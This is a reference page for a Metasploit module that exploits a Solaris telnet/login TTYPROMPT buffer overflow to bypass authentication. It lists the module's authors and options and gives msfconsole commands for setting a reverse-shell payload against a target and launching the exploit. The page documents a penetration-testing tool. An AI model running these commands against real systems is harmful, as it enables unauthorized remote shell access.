Solaris in.telnetd TTYPROMPT Buffer Overflow
This module uses a buffer overflow in the Solaris 'login' application to bypass authentication in the telnet daemon.
Exploit Rank
- Excellent
Exploit Authors
- MC < mc [at] metasploit.com >
- cazz < bmc [at] shmoo.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
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msf > use exploit/solaris/telnet/ttyprompt
msf exploit(ttyprompt) > show payloads
msf exploit(ttyprompt) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ttyprompt) > set LHOST [MY IP ADDRESS]
msf exploit(ttyprompt) > set RHOST [TARGET IP]
msf exploit(ttyprompt) > exploit
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msf > use exploit/solaris/telnet/ttyprompt
msf exploit(ttyprompt) > show payloads
msf exploit(ttyprompt) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ttyprompt) > set LHOST [MY IP ADDRESS]
msf exploit(ttyprompt) > set RHOST [TARGET IP]
msf exploit(ttyprompt) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 23) |
| USER | The username to use (default: bin) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |